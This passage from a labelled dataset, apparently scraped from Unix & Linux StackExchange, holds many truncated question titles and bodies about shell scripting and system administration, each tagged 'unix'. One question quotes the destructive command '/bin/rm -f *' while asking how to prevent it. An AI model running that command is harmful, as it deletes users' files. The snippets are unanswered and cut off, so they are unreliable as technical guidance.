public folder ... ",['unix'] "Title: confuse with awk user define function Body: I have solved Projecteuler Problem 3, but the thing is that I am not able to create the function in awk. I have tried this working code (without function): #!/usr/bin/awk -f BEGIN{ ... ",['unix'] "Title: How to do `head` and `tail` on null-delimited input in bash? Body: find command can output names of files as a null-delimited strings (if -print0 is provided), and xargs can consume them with -0 option turned on. But in between, it's hard to manipulate that ... ",['unix'] "Title: Auditing Linux: tell me to what IPs a connection was established Body: I need a command, or something that runs as a cron job, that logs what IPs my machine is communicating with, what ports, and what process did it. ",['unix'] "Title: What rescue disk (rescue CD/DVD) to recover data from failed HDD would you recommend for first time user? Body: What rescue disk (rescue CD/DVD) would you recommend for an user which unfortunately needs to rescue data from a bad disk (filesystems does not mount when using LiveCD, though fdisk looks O.K.) for a ... ",['unix'] "Title: “Packing” linux up onto USB drive Body: I have been using my Linux Mint Nadia for some time and customized it a little, I was wondering if I can ""pack it"" onto a USB and make it into an ISO which I can boot on another computer and it will ... ",['unix'] "Title: how to initialize `/etc/group`? Body: After editing /etc/group, How this update starts functioning without restarting the system in Unix? Is there any command we need to run? ",['unix'] "Title: Share a directory over FTP with chroot_local enabled Body: I'm using vsftpd. By default, when I create a user, they are jailed in their directory which is /home/user. I have enabled chroot_local_user=YES. On the other hand, I also wanted to create a shared ... ",['unix'] "Title: Getting back rsync's deleted files [duplicate] Body: I accidentally rsync-ed to a server using the delete attribute when I shouldn't have. Is there any chance of getting the data on the server that rsync removed.. back? ",['unix'] "Title: QEMU communication between a process on a host and a process on the guest Body: I am running Ubuntu virtual machine using QEMU. Right now I am facing a problem how to send IP packets from the host OS to the guest OS over some virtual network interface throw QEMU. Virtual ... ",['unix'] "Title: VM restored from backup grub can't see Body: I can't explain this, I'm wondering if someone can help me explain it. When the VM is installed using virt-install, etc., grub can see it just fine. For example: # parted /dev/mgtvg/cos64 print ... ",['unix'] "Title: Is it possible to x-forward windows apps to linux if windows PC running Xming? Body: I have been digging around looking for an answer to my question but have no been able to come up with anything. I know that xming server allows you to transparently run linux applications on windows ... ",['unix'] "Title: why does ls -d also list files, and where is it documented? Body: when specifying ls --directory a* it should list only directories starting with a* BUT it lists files AND directories starting with a Questions: where might I find some documentation on this, ... ",['unix'] "Title: Missing icons in Nautilus Body: I've installed Fedora 18 (x64) minimum and I installed Enlightenment with Nautilus. But I see that there are icons missing in Nautilus, I have selected the gnome icon theme so I must be missing some ... ",['unix'] "Title: Solaris: Script for finding the physical device path of all installed fiber cards Body: I have a number of systems (with quite varying type, generation and architecture unfortunately). I need to create a list of fiber cards on these varying systems. I am able to use prtconf -v, and ... ",['unix'] "Title: Updates on Chrubuntu suddenly stopped working Body: Okay, I don't normally like asking for help, but I cannot find a way round this problem. I installed Chrubuntu last Saturday and things worked reasonably well. I was able to update and install ... ",['unix'] "Title: Is it common to split larger script into multiple scripts and source them in the main script? Body: At the moment I'm developing a larger Bash script (it's an Open Source project of mine) and it's starting to become a mess. I've split up logic into functions, use local variables where I can and have ... ",['unix'] "Title: tcsh shortcut to move the cursor back to previous space Body: I'm looking for a keyboard shortcut in tcsh to move the cursor back to the previous blank: not ESC+B which takes me back one word (for instance, in a path argument, to the previous path component) - I ... ",['unix'] "Title: How to copy datasets from prior version directory to latest version directory [closed] Body: I've go a number of directories named like: /data/db/OX/8_10 /data/db/OX/9_1 /data/db/OX/9_2 And need to copy some files (all the pt.* files) from the second latest one (above 9_1) to the latest ... ",['unix'] "Title: Finding which filesystem [duplicate] Body: I have an external hard drive and would like to know what kind of a file system it has. How do I find that out using the terminal? ",['unix'] "Title: Username conflicts on a central printer queue Body: We have just switched to a centralized print queue. The printer is setup with lpadmin -p SPScolour -E -D ""Sustainable Print Colour"" -v lpd://xxx.yyy.com/colour The IT people are saying my local ... ",['unix'] "Title: Custom Bluetooth Configuration through terminal Body: I am running a Bluetooth module on my circuit for transmitting data. I want to connect this module to my Linux OS (openSUSE) and read data from it. I want to do custom configs and also custom read ... ",['unix'] "Title: Not able to extend the size of an LVM logical volume Body: During RedHat installation, I created one volume group with two logical volumes in it. Volume Group Name = VolGroup00 LVMs = LogVol00 and LogVol01 LogVol00 size = 48G LogVol01 size = ... ",['unix'] "Title: What are these commands for? Body: Yesterday I had to install a Windows with its Grub override. Well, it's not the first time I had to fix Grub, so I used LiveCD, mounted the root partition (I don't have boot, just / and home) and ran ... ",['unix'] "Title: Kipmi0 eating up to 99.8% cpu on centos 6.4 Body: We have CentOS 6.4 and the kipmi0 is showing as 99.8%cpu and 0.0% memory and load average is 1.00. What should we do to rectify on this? ",['unix'] "Title: shell script to do some text manipulation of text file data structure and slight content changes Body: Apologies in advance for the wall of text, not sure how else to represent the existing data structure. I have been handed about a years worth of logs collected every hour from a server. Sadly, ... ",['unix'] "Title: linux + match IP ADDRESS with 3 octets or with 4 octets Body: how to match IP address with 4 octets or with 3 octets in one command? target - match xxx.xxx.xxx or xxx.xxx.xxx.xxx ( syntax should fit for Linux and Solaris ) how to merge the following commands ... ",['unix'] "Title: Is there a way to 'authorize' a command typed in by a user? Body: is there a way we can authorize a command typed by a user before it takes effect? For example, when a user types cp file1 file2, the command will not be executed and a root / root-equivalent user ... ",['unix'] "Title: Expect can not expect the output Body: I have problem with my simple code, the expect can not expect the output set timeout 10 set user username set password password spawn ssh $user@000.000.000.000 expect ""Password:"" send ""$password\r"" ... ",['unix'] "Title: How to make sure the shell builtin echo is invoked so that its not visible in process list? Body: Is this going to be visible in the process listing if the below line is executed from a command line or a shell script bash -c ""echo $password"" or i just need to do echo $password from within ... ",['unix'] "Title: Integrating custom kernel module into Debian Body: I've built a kernal module from source and now would like to load the module at boot. The .ko file is in the build directory in my user folder, and I know it works because running insmod ./vizzini.ko ... ",['unix'] "Title: Is it possible to make multi-level directory? [duplicate] Body: Using mkdir() (the C function) I can create a 1-level directory, if I want to create multi_level directory like: folder/subfolder/subsubfolder is it possible? if so, how? ",['unix'] "Title: Nemo: Forget encryption password Body: I have mounted an encrypted disk by selecting it in Nemo (1.1.2), then typing a password. I can unmount the disk using Nemo, but now it can be remounted without requiring the password. Probably ... ",['unix'] "Title: Openbox doesn't seem to have correct environment variables set Body: I've installed Debian 7.0, and then installed Openbox on top of it. I've got some executable files in ~/bin, and this line in my .bashrc and .profile: export PATH=""$HOME/bin:$PATH"" I can normally ... ",['unix'] "Title: How to add my own created certificate authority to system trusted repositories Body: I was told that I can add my created CA to trusted repositories/authorities in my system instead of adding it from browser and configuring in in ssl.conf. Yet I can't find anything similar on the ... ",['unix'] "Title: openSUSE 12.3 (64-bit) LiveCD/LiveUSB won't work (MacBook7,1) Body: I wanted to try a live openSUSE 12.3 (64-bit) system on my MacBook 7,1, however: When I do it with a LiveUSB created with UNetbootin, it's not recognized as bootable When I do it with a LiveCD ... ",['unix'] "Title: How to format large Size HDD quickly Body: In windows we can do a Quick format just by right clicking the device and boom format. In linux How to do the same I mean if the size of HDD is 2TB or more it takes along time to format using ... ",['unix'] "Title: How to “close” open ports? Body: A few days ago I started to care a lot about my data security, I end up nmaping myself with: nmap 127.0.0.1 Surprise, surprise, I have lots of active services listen to localhost: $ nmap 127.0.0.1 ... ",['unix'] "Title: How frequently is the proc file system updated on Linux? Body: How frequently is the proc file system updated on Linux? Is it 20 milliseconds (time quantum)? ",['unix'] "Title: How to make RHEL Workstation to boots up faster? Body: I am using RHEL 6.4. Problem is it takes too much time to boots up? Can you say, what can I do to be out of this situation? ",['unix'] "Title: Starting jackd after using other audio Body: I know this is probably a common question. When I start jackd after first booting, everything works fine. If I use another audio (such as Banshee or Youtube, etc) jack won't start. From what I ... ",['unix'] "Title: Search by file dimension [duplicate] Body: I have many photos. How to search files by its dimensions? For example, i want to search images with exact dimensions 500 x 500 pixels. Is there any utility for this task? ",['unix'] "Title: Why is my download speed a lot lower in Linux than other OS? Body: I had Windows 7 installed on my PC and torrents (all legal) downloaded at a rate of 2MBps. I used uTorrent. I now have Kubuntu 13.04 installed and have kTorrent, which can only achieve speeds of ... ",['unix'] "Title: Rearrange partitions to install a second Linux distribution Body: I am new to Linux and just got some foggy idea of partition tables. To be precise here it is: Model: ATA ST3500418AS (scsi) Disk /dev/sda: 500GB Sector size (logical/physical): 512B/512B Partition ... ",['unix'] "Title: Where does docky store it's configuration? Body: I need to apply different profile of docky, for different desktop sessions. But I couldn't find where docky stores it's config, I've tried ~/.docky ~/.config/docky these folders doesn't even exists. ",['unix'] "Title: Including sub-parameters in help options to execute wisely without getopt or getopts? Body: I am writing a script which can choose a file and print specific content. For example, san#./script.sh Expected Usage : ./script.sh --file1 --dns (Here it checks for file1, search for dns name and ... ",['unix'] "Title: Difference between lib, lib32, lib64, libx32, and libexec Body: My 64 bit Ubuntu 13.04 system has the following directories in /: lib lib32 lib64 libx32 libexec In the /usr directory there is: lib lib32 libx32 libexec This seemed like something that could be ... ",['unix'] "Title: Which user owns X display? Body: How to determine, as root, which user owns X display :0? (on a Fedora 18 system with defaults) ",['unix'] "Title: How to change locale environment variable? Body: I have generated en_US.utf8, et_EE.iso88591 and ru_RU.utf8 localisation files. Now if I try to change any of the locale variables to a ru_RU.utf8 or en_US.utf8, then this does not have any effect: # ... ",['unix'] "Title: Why is sshd looking at a non-existent public key file? Body: In an effort to get SSH keys working I'm tailing the sshd authorization log and I see these lines: debug1: test whether pkalg/pkblob are acceptable debug1: temporarily_use_uid: 10144/10029 (e=0/0) ... ",['unix'] "Title: How to open process substituted file from php? Body: Here's what I tried to do myself: $ type 1.sh #!/bin/bash -eu php -r 'var_dump(file_get_contents($_SERVER[""argv""][1]));' -- <(echo 1) $ ./1.sh PHP Warning: file_get_contents(/dev/fd/63): failed ... ",['unix'] "Title: Portions of the file Header Body: I was working through my C programs, I am new to Linux/UNIX development and was having a look around. I created a simple C program of Hello world and was inspecting the compilation process. I tried ... ",['unix'] "Title: Transfer a Fedora system to another computer Body: I'd like to transfer my Fedora to a remote machine. Fedora is under Grub 2.0 and on the remote machine there is a Centos system and Grub 0.97. In fact, I have two questions. First is how to properly ... ",['unix'] "Title: Make a tmux pane 80 (or so) columns wide Body: I'm trying to follow the 80 column rule when writing my code, my current tmux setup is split 50/50 horizontally. I like to have vim in the left-hand pane, and in the right-hand pane I have a 75/25 ... ",['unix'] "Title: Change sampling rate in ALSA Body: I'm a Computer Audiophile, I've used Windows (with ASIO4ALL)and OSX for Audio. Now I'm making Ubuntu 13 my HTPC/Stereo Audio. To begin with I disabled Pulse audio and using GooMusicplayer with ALSA. ... ",['unix'] "Title: Can I duplicate my Apache server settings on a new Linux install? Body: I have an Apache 2 server set up on my computer that I use for local testing. To be clear, it is not hosting sites on the internet. It's just for local debugging and designing. I was using Ubuntu ... ",['unix'] "Title: How can I separate these two outputs using awk command Body: Here's my output: MessageID=3990592283244651750-30192b51.13df831d93a.7eb4;EsbTiming=2013-04-12T01:07:46.099 I want only the time. How can I separate them? ",['unix'] "Title: What does the package UPower output if on a desktop Body: On Ubuntu 12.04, if I use the command: upower -i /org/freedesktop/UPower/devices/battery_BAT0 It will output all of the statistics for the battery. However, what does it output if I am using a ... ",['unix'] "Title: Cannot open GUI after ssh -X and chroot Body: I ssh ( with -X option ) to another computer then I I do a chroot. I then encounter problems running X11 apps. As one example, after the ssh I would run emacs and it would open a new window as a X11 ... ",['unix'] "Title: Upgrading dpkg on 64-bit debian Body: Recently I tried to install Steam on my debian, but I ran into a problem. It requires dpkg version 1.16.2 (for multiarch) but the one installed on the system is 1.15.8.13 The problem is that running ... ",['unix'] "Title: How to launch a program in text only mode if it support silent running Body: I have got a java program, which support text file input and auto running, can i put it in background running without GUI ? It prompt cannot set display. while there is no concern to view the ... ",['unix'] "Title: How to forbid the execution of /bin/rm -f *? Body: I cannot remember how many times I've listed a subdirectory and executed /bin/rm -f * in the current directory. Can anyone give suggestions to help me avoid this? What should I do if I want the system ... ",['unix'] "Title: Reading a path from a nested grep yields “No such file or directory” Body: Essentially, I have a file containing the path to another file. A single line looks like this. ""/home/self/file"" Now, separately... > cat ""/home/self/file"" blah blah ... > grep '"".*""' ... ",['unix'] "Title: LXC: How do I mount a folder from the host to the container? Body: I'm trying to mount a folder on the host to an LXC container. The host has a folder /mnt/ssd/solr_data created (this is currently on the root filesystem, but later I'll mount an SSD drive there, so ... ",['unix'] "Title: What are the advantages of using named pipe over unnamed pipe? Body: I was reviewing a set of interview questions that are asked from a unix admin; I found a topic called ""named pipe"". I googled the topic; to some extent I have been able to understand it :- named ... ",['unix'] "Title: Is there a convention for adding .pc files for pkg-config? Body: I installed a library via apt but it added no .pc file to the pkg-config dir. When I built another manually it got added. Is there a convention for libs automatically creating a .pc file and if so ... ",['unix'] "Title: Using rsync without adding ssh user [duplicate] Body: How to give an user access to rsync (as www-data user), without giving him an ssh user (because i afraid that he could do something with my computer), how can i do this? ",['unix'] "Title: Obtain device name and mount point if partition label is known Body: How to obtain the partition device name and mount point when the file system label is known? There are several possibilities: Linux File system label to device name The device name can be obtained ... ",['unix'] "Title: How to set a ldflag for a library in home folder Body: I followed the following manual http://photivo.org/photivo/download_and_setup/linux how to compile Photivo on Sabayon: graphicsmagick 16 bit wget -c ... ",['unix'] "Title: How to find out whether a certain processor is 64bit or 32bit? [duplicate] Body: Now, the answer that jumps into everyone's minds at this point is, of course, uname -a. But I believe that, in this case, it is not the correct answer. Why? Well, I have installed a 64bit version of ... ",['unix'] "Title: Races when piping two commands to a named pipe Body: I want to have one process reading from a named pipe that receives data from multiple sources: $ mkfifo /tmp/p But I can't figure out how to get it to work consistently. First Scenario - this ... ",['unix'] "Title: Opening lid results in black screen (Dell Laptop with ATI Graphics, Ubuntu 12.04, 3.2 kernel, GNOME 3) Body: For the past few weeks, when opening the lid my laptop often fails to recover from suspension leaving me with a blank screen. Further, when this bug occurs, the laptop fans continue to run while the ... ",['unix'] "Title: I need a text editor to edit/visualize >10GB text files Body: So as to vizualize, and hopefully edit, a very large text file, more than 10GBytes (a backup dump of whole database), I have tried using vim... it didn't behave very well. I have also tried cat to at ... ",['unix'] "Title: Block network access of a process? Body: Is it possible to block the (outgoing) network access of a single process? ",['unix'] "Title: Replacing part of a string with another part of that same string [closed] Body: How would I go about replacing part of a string with another part of that same string, in a bash script, using sed? ",['unix'] "Title: /proc/net/wireless does not show values unless run as root Body: cat /proc/net/wireless does not show statistics for wireless devices unless it is run as root, even though the permissions on the file are 444. The same seems to apply when accessing statistics via ... ",['unix'] "Title: Multiple source directories in duply Body: Is it possible to specify multiple source directories in a duply configuration file? If not is there any simple workaround? ",['unix'] "Title: Recommended Linux distribution or distributions for children Body: My kid wants to use Linux and wants to be a geek in Linux. I am really glad at my kid's wish. Now I want to introduce my kid to Linux. Which linux distribution or distributions should I suggest? ",['unix'] "Title: Rehashing /etc/shadow. Can I force NIS users to change password? Body: I'm currently migrating a CentOS environment to a Debian one. The users log in over the network using NIS. I was hoping to copy /etc/shadow from my old server to my new one so that we can offer ... ",['unix'] "Title: package.use equivalent for VIDEO_CARDS, ABI_X86, etc Body: You can configure USE flags per package in /etc/portage/package.use. Is there an equivalent for similar flags like ABI_X86 or VIDEO_CARDS? ",['unix'] "Title: How do I remove all sub-directories from within a directory? Body: This question is kind of a phase II to the first question I posted at here I have a directory that contains a bunch of sub-directories, .zip files, and other random files not contained within a ... ",['unix'] "Title: How to su to www on OpenBSD? Body: I have a PHP script that I wish to run under the www account. The account has nologin as shell and is used by Apache. When I run ""su -l www -s /bin/ksh"" as root, I get the following message: This ... ",['unix'] "Title: Firefox unable to access domains defined in /etc/hosts if Network Manager is disconnected from a network Body: For developing web sites, I define test domains in /etc/hosts : 127.0.0.1 example.org I can then access example.org in the browsers. However I when the Network Manager is not connected to any ... ",['unix'] "Title: Where to find the VBR on the /dev/sda1 partition? Body: I have one built-in hard disk /dev/sda which looks like this: Disk /dev/sda: 160.0 GB, 160041885696 bytes 255 heads, 63 sectors/track, 19457 cylinders, total 312581808 sectors Units = sectors of 1 * ... ",['unix'] "Title: How to retrieve sysfs devpath of a USB flash drive given its corresponding partition sysfs path? Body: I have a USB flash drive connected to a hub. Its storage device partition devpath in sysfs is /devices/pci0000:00/0000:00:12.2/usb6/6-1/6-1.2/6-1.2:1.0/host10/target10:0:0/10:0:0:0/block/sdb/sdb1. I ... ",['unix'] "Title: How do I change the colour of all lines to red begining with a % symbol? Body: When I use sed -i ""s,.*%.*,$(tput setaf 1)&$(tput sgr0),g"" A.log the whole line vanishes and when I use sed -i ""s,^%.*,$(tput setaf 1)&$(tput sgr0),g"" A.log only the first character(%) ... ",['unix'] "Title: Confusion with how to restore corrupt ext3 files if power outage occurs during a file write Body: I am running a small embedded system. Because the system will never be gracefully shutdown and will just have the power cable unplugged, I am running an initramfs but mounting an ext3 partition on a ... ",['unix'] "Title: how to configure xorg.conf for extended desktop? Body: I would like to setup the dual monitor settings where I can use two monitors as a single Desktop with single panel, single launcher and when some programs are maximized then it should span both the ... ",['unix'] "Title: Converting PNG frames to video a 1 FPS Body: I have video frames in PNG format at 1 FPS and I'm trying to convert them into a video using ffmpeg. If I do something like this: ffmpeg -i data/input-%4d.png data/output.mp4 I get a video at 25FPS ... ",['unix'] "Title: Installing a software on Linux- Centos Body: I am a complete amateur in Linux. There is a software that only runs on Linux. It came with a virtual machine package and every thing. When inside the virtual machine, I run a .py file in the ... ",['unix'] "Title: Install/Boot problems after dual boot of Linux Mint on HP Ultrabook (Envy 14 1030us) Body: I have followed steps to install Linux Mint (as dual boot) on an HP Envy 14 ultrabook (1030us) as detailed by Raphink (on askubuntu ""Dual boot Installation of Ubuntu 12.04 LTS on HP Ultrabook ENVY-4 ... ",['unix'] "Title: kill a group of processes with negative PID Body: kill -TERM -PID is supposed to kill PID and all its child processes. but this doesn't work on openSUSE, it always tell me that no such process -PID no matter what PID i use. So if the negative PID ... ",['unix'] "Title: Bind DNS rate-limit and values for responses-per-second and window Body: In my DNS server's named.conf I see rate-limit { responses-per-second 5; window 5; }; What does this actually mean? And can it cause DNS clients problems? Is this ... ",['unix'] "Title: How to create a gzip file without .gz file extension? Body: I would like to create a gzipped file that retains the original file name. For example gzipping ""example.txt"" should output a gzipped file named ""example.txt"" rather than ""example.txt.gz."" Is it ... ",['unix'] "Title: Using screen to connect to Cisco console Body: I am trying to configure a Cisco (small business 300) via serial port. I read here: http://www.commandlinefu.com/commands/view/6130/use-screen-as-a-terminal-emulator-to-connect-to-serial-consoles ... ",['unix'] "Title: Is it bad/dangerous/inappropriate to put arbitrary backups in /var/backups? Body: There's a system-created /var/backups directory on Debian-based systems. I need a place to store backups of several git repositories (the primaries are on bitbucket). If I store them in ... ",['unix'] "Title: When is double-quoting necessary? Body: The old advice used to be to double-quote any expression involving a $VARIABLE, at least if one wanted it to be interpreted by the shell as one single item, otherwise, any spaces in the content of ... ",['unix'] "Title: How should I configure /etc/host.allow on OpenBSD to only allow given IP's? Body: I have an OpenBSD 5.1 box that is running a static html based website. I have a list of IP addresses that I want to allow, ex.: ... 78.128.49.0/24 78.128.50.0/24 ... It's a ~10 KByte. ~10 000 ... ",['unix'] "Title: Remapping keys for workspaces in Xmonad Body: Xmonad uses 1) Mod+2 for switching to workspace 2 2) Mod+Shift+2 for moving window to workspace 2 How would you remap 1) to Mod+k and 2) to Mod+Shift+k in ~/xmonad/xmonad.hs? ",['unix'] "Title: starting vim with command substitution Body: I am working on a project on two different machines - one running Mac OSX 10.8.3, and one running Red Hat Enterprise Linux. On my Mac, I can do this: vim $(ls -R */*.@(h|cpp) */*/*.@(h|cpp)) and ... ",['unix'] "Title: Do USB emulators exist for Linux? Body: I'm looking for software that lets me have many virtual USB drives on my Ubuntu installation. I want them to be seen by virtual machines in VirtualBox so I can do backup operations. I need the drives ... ",['unix'] "Title: set hlsearch not working in vi Body: I want the result to be highlighted when I search for it in a file.So,I opened a file with vi(version 7.2) and then used command :set hlsearch to enable highlighting.But even then I don't get my ... ",['unix'] "Title: Auditing of gdb commands Body: Is there a way I can log all gdb commands executed by a user? And do user level logging? Is any other tool like gdbserver can help in this case ? ",['unix'] "Title: Why is my unmounted USB disk still seen by `fdisk`? Body: I've mounted my USB disk to /mnt/kingston/ dir, and umounted it from there by typing in umount /mnt/kingston/. But I can still see my USB disk after issuing the fdisk -l command. Why? If I type ... ",['unix'] "Title: Make polipo to log all urls Body: i'm using polipo (proxy server) for local caching. is there a way to log all access through polipo just like urlsnarf or other web server log file do? logFile = ""/tmp/access.log"" logLevel = ? # what ... ",['unix'] "Title: Is it better to pass all files to mv or to run a bunch of mv processes in parallel? Body: I have three ways of running mv. First: mv /db/dbfile1 /db/dbfile2 /db/dbfile3 /usb_storage/ and second: mv /db/dbfile1 /usb_storage/ & mv /db/dbfile2 /usb_storage/ & mv /db/dbfile3 ... ",['unix'] "Title: fstab not mounting VirtualBox shared folder? Body: I have a virtual machine here which I use for development, so as not to mess anything up in my existing environment. I've made a share named ""web"" available to the guest OS (Ubuntu 12.10 Server) ... ",['unix'] "Title: Moving stuff off of SSD to HDD after installation. Using mount --bind? LiveCD? Body: I installed Ubuntu 12.10 on my SSD. /dev/sda1. No other partitions. No swap. Then I went about reading how to optimize usage, and have come to the conclusion I want my /home, /var and /tmp mounted on ... ",['unix'] "Title: SSH File Transfer Body: Is it possible for me to use SSH to transfer files from my linux computer to my macbook, if so, can anyone post a brief tutorial? I kind of understand how to use SSH, but I need to know how to find ... ",['unix'] "Title: grub waits for user input when booting as guest in virtualbox Body: I have several ubuntu guests inside a Mac OS X virtualbox host. When I start them, about half of the time they correctly boot and get to their login screens/start all their services. The other half of ... ",['unix'] "Title: What's the difference between Ctrl-Z and kill -STOP? Body: When I run a command (make on a large project) from the shell, I can type Ctrl-Z to stop the process and return to the shell. Subsequently, I can run fg to continue the process. I'm trying to write a ... ",['unix'] "Title: Self cache-proxying all outcoming http/https request Body: Is there a way to setup squid (or another caching proxies) to cache any http/https request from my own computer? i will use it to record all request and get the downloaded files from software that ... ",['unix'] "Title: dpkg sees them, but apt-get can't remove them? Body: (similar to the question Uninstalling default VBoxGuestAdditions on Debian but a Ubuntu install, and the solution there isn't working for me?) and really the issue seems to be with dpkg/apt-get not ... ",['unix'] "Title: Invoke a command/script disconnected from the controlling terminal? Body: I'm investigating the behaviour of a script that is normally run as an automated process (e.g. cron, Jenkins). The script can (eventually) invoke commands that behave differently (seeking user input) ... ",['unix'] "Title: Can I use APT on TinyCore? Body: Will tinyCore let me use APT? I am looking forward to use a very light version of Linux on a netbook or something. For the last few years I been using Linux Mint and I like it, but I am getting tired ... ",['unix'] "Title: Turning off the hdmi tv/monitor gives me a login screen when turning the tv back on Body: So all power management settings are disabled. And we don't get the login prompt when the tv stays on for a long time. The comp does not go to standby. We even disabled 'show login after screensaver' ... ",['unix'] "Title: Custom application running on embedded device - do I need to register my listening port in /etc/services? Body: I have written an application that will run on an embedded device. The installation is very minimal and uses busybox and not many other things. Part of the software includes a listener thread that ... ",['unix'] "Title: Using Filezilla to upload files to remote server under a proxy server Body: I am using Filezilla to upload files to my web server. I am under a proxy server of my college. I edited FTP proxy in Filezilla Settings. However, it shows the following error :- Status: Selected ... ",['unix'] "Title: How do I power off QLogic ISP2532 FC adapter via PCI? Body: I'm developing some automatic test. During it I need to simulate disconnection of fiber channel. FC adapter is QLogic ISP2532, OS I'm working on is CentOS 6.2. Currently I've tried to disable it ... ",['unix'] "Title: Return value of current watt consumption on command line Body: Is there a way to return the current watt consumption on the command line? I have found about the powertop program, but have not seen a way to return the Watt consumption as a value to the command ... ",['unix'] "Title: Detect attached monitors when X is not running Body: I'm working with machines that are running RHEL6. I need to detect whether a monitor is plugged in when X is either not running or has not started yet, for example during bootup. Is there any way to ... ",['unix'] "Title: how to delete wine temp files for an application Body: I have been using ultrasurf a proxy server through wine. And yesterday ultrsurf was easting too much memory so I killed it via console. Then I restarted again and it wouldn't start saying some error. ... ",['unix'] "Title: Why doesn't build of net-snmp 5.7.2. provide /etc/rc.d/init.d/snmptrapd? Body: I am packaging an RPM for RHEL6, built from net-snmp-5.7.2.tar.gz. I see that the file /etc/rc.d/init.d/snmpd gets created and packaged but I do not see the init file for /etc/rc.d/init.d/snmptrapd. ... ",['unix'] "Title: no such file or directory [duplicate] Body: I have a 64-bit Ubuntu and want to execute a 32-bit FreeRTOS binary. The error message says no such file or directory. The files are there I can read them with ls -l. ",['unix'] "Title: Linux MInt 13: Autosave session Body: I am using Linux Mint 13, Cinnamon. I tried the solution offered at http://www.linuxandlife.com/2012/06/how-to-enable-session-saving-in-linux.html but it is not working. I was able to change the ... ",['unix'] "Title: Taking file ownership when file and directory is readable/writable Body: I got some files in directory: drwxrws-wt 2 me mygroup 4,0K 10.1. 12:34 . -rw-r----- 1 someone mygroup 10G 10.1. 11:22 someonesfile me and someone are regular users without supplementary ... ",['unix'] "Title: How to get data count between two strings with multiple occurences in the same file Body: I have the data in my file as START-OF-FIELDS ID NAME DEPT END-OF-FIELDS START-OF-DATA 1|joy|cs 2|sam|ec END-OF-DATA START-OF-FIELDS ID NAME DOB DEPT ADDRESS END-OF-FIELDS START-OF-DATA ... ",['unix'] "Title: How to burn iso image to DVD using dd command Body: I was looking at the command to burn iso image to a dvd. But I couldnt get the name of the device. In the /dev/ I could see cdrom,cdrw,dvd,dvdrw. I am using debian. When I gave the command, I got ... ",['unix'] "Title: Span a directory on an SD card and an attached USB stick Body: Can I span a folder on the SD card on my Raspberry Pi with a folder on an attached USB device? I'd like to basically extend the size of a directory by using an attached USB memory stick. I'm running ... ",['unix'] "Title: Why is JFS so obscure? Body: When I first got into using Slackware years ago I quickly learned to love JFS over ext3 or reiserfs given that it was reliable and if there was an unclean shutdown, its disk checking was very very ... ",['unix'] "Title: What is symlinking and how can learn I how to to do this? Body: From the Django-Documentation: The django-admin.py script should be on your system path if you installed Django via its setup.py utility. If it’s not on your path, you can find it in ... ",['unix'] "Title: How do I get a list of all the available keyboard layouts in X.org? Body: I know these layouts have two-letter codes like 'us'for the US layout. I need a list of all the layouts available and also to pair the two-letter codes to the proper names of the layout to get the not ... ",['unix'] "Title: Best way to remove lines from a file where matching text (not whole line) exists in another file Body: I have a file of email addresses (file 1) and another file (file 2) of lines of data that contain some of these email addresses I want to compare files and remove all lines in file 2 that have a ... ",['unix'] "Title: Setting KDE to crop the laptop's screen to match external VGA device's ratio Body: I have a laptop with 16:9 screen ration. Sometimes I need to attach it to a projector via VGA. The projector ratio is 4:3. I use System Settings->Hardware->Display and Monitor->Size & Orientation ... ",['unix'] "Title: How to fetch logs from diffrent servers using one command? [closed] Body: How to fetch logs from diffrent servers using one command? For example, suppose I want to fetch logs for same id in different servers. I have to go to each server and search for logs. Is there any ... ",['unix'] "Title: Compiling multiple source file with arm-ulinucxeabi-gcc including -o -c option Body: I am compiling multiple c source which depend on multiple header files. Makefile SHELL=cpp2 ... ",['unix'] "Title: Brightness control Fedora 18 Body: I'm using Fedora 18 and i've intel GPU, using intel_backlight to control the brightness, Is there any way i can set the brightness keys to work?? ",['unix'] "Title: How can I remove an element from an array completely? Body: unset array[0] removes the element but still if I do echo ${array[0]} I get a null value moreover there are other ways of doing this but if an element of an array contains spaces like below ... ",['unix'] "Title: Auto call answer with Huawei modem Body: I have problem with call auto answer in modem Huawei E303. On modems E173 auto call anwer is working fine. But on Huawei E303 it's not working. Steps that i do: Open kermit: set line /dev/ttyUSB0 ... ",['unix'] "Title: How to get cinnamon window styling Body: I think I may have chosen Mint-with no codecs from the downloads section. What should I do to get the nicer cinnamon window styling as in this page?. I have attached a file to show how my window title ... ",['unix'] "Title: Use of /etc/sysconfig/network-scripts/ifcfg-eth* files Body: What's the use of /etc/sysconfig/network-scripts/ifcfg-eth* files ? In some cases ifconfig lists the interface eth0 but I don't find the corresponding ifcfg-eth0 file whereas in other instances if I ... ",['unix'] "Title: how to know IPs available on a server? Body: I think there used to be a command to do that but I forget. Something like ipconfig in windows. My server has 10 available IPs and I want to know them all. ",['unix'] "Title: Chromium OS says “Your system is repairing itself. Please wait” and then reboots Body: I downloaded ChromeOS-Vanilla-3851.0.2013_03_17_1641-r7af8fe3d.zip from chromeos.hexxeh.net, then extracted and ""burned"" to a 4GB USB drive with dd ... ",['unix'] "Title: Is it the de facto to use the grave (`) symbol, followed by a normal apostraphe (') to quote things? Body: For example, 'foo bar' would be quoted as `foo bar', or ``foo bar''. Is it encouraged or general practice to use this quoting syntax? ",['unix'] "Title: How to set open app icon to be the same as in App Launcher in KDE Body: I am using Fedora 16 with KDE and, for the most part, the icon associated with an app is the same in the open app bar in the bottom of the screen as it is in the Application Launcher in the lower left ... ",['unix'] "Title: Why do . and .. have a file size of 4 kB and 12 kB, respectively? [duplicate] Body: As displayed by ls -al, for example: drwxr-xr-x 9 jb jb 4.0K Mar 8 18:05 ./ drwx------ 49 jb jb 12K Mar 17 14:15 ../ I assume this is the minimum amount of space required to store the inode's ... ",['unix'] "Title: Fedora 18 : install input method Body: I'm using Fedora 18. I choose ibus in input method selector. In ibus, I choose preference to change input method. But I just see english-english method. I cannot choose input method for another ... ",['unix'] "Title: Simulate empty STDIN to detached command Body: i want to detach command either with 'command &' in the end, or with 'nohup command &', but it stops right after detaching it. command is little specific, if it receives eof on input, it ... ",['unix'] "Title: “Recently used” directories and files in bash Body: In Firefox under Ubuntu, when I try to save some webpages to my local computer by Ctrl+S, there will be a window popping out for me to select the destination, where I can choose ""Recently Used"" ... ",['unix'] "Title: Cannot access any files Manjaro Linux Body: I cannot open any files on my Manjaro Linux laptop. I really can't remember why it happened but I restarted my computer and now I dont have read/write access to any folder or file even though I've ... ",['unix'] "Title: Command to list contents if directory, or do output contents if file? Body: Is there any command to list the contents if passed a directory, but output the contents if it's a file? For example, often when I am navigating the directory structure I will start typing into the ... ",['unix'] "Title: Debian PXE Preseeding: Can I clone 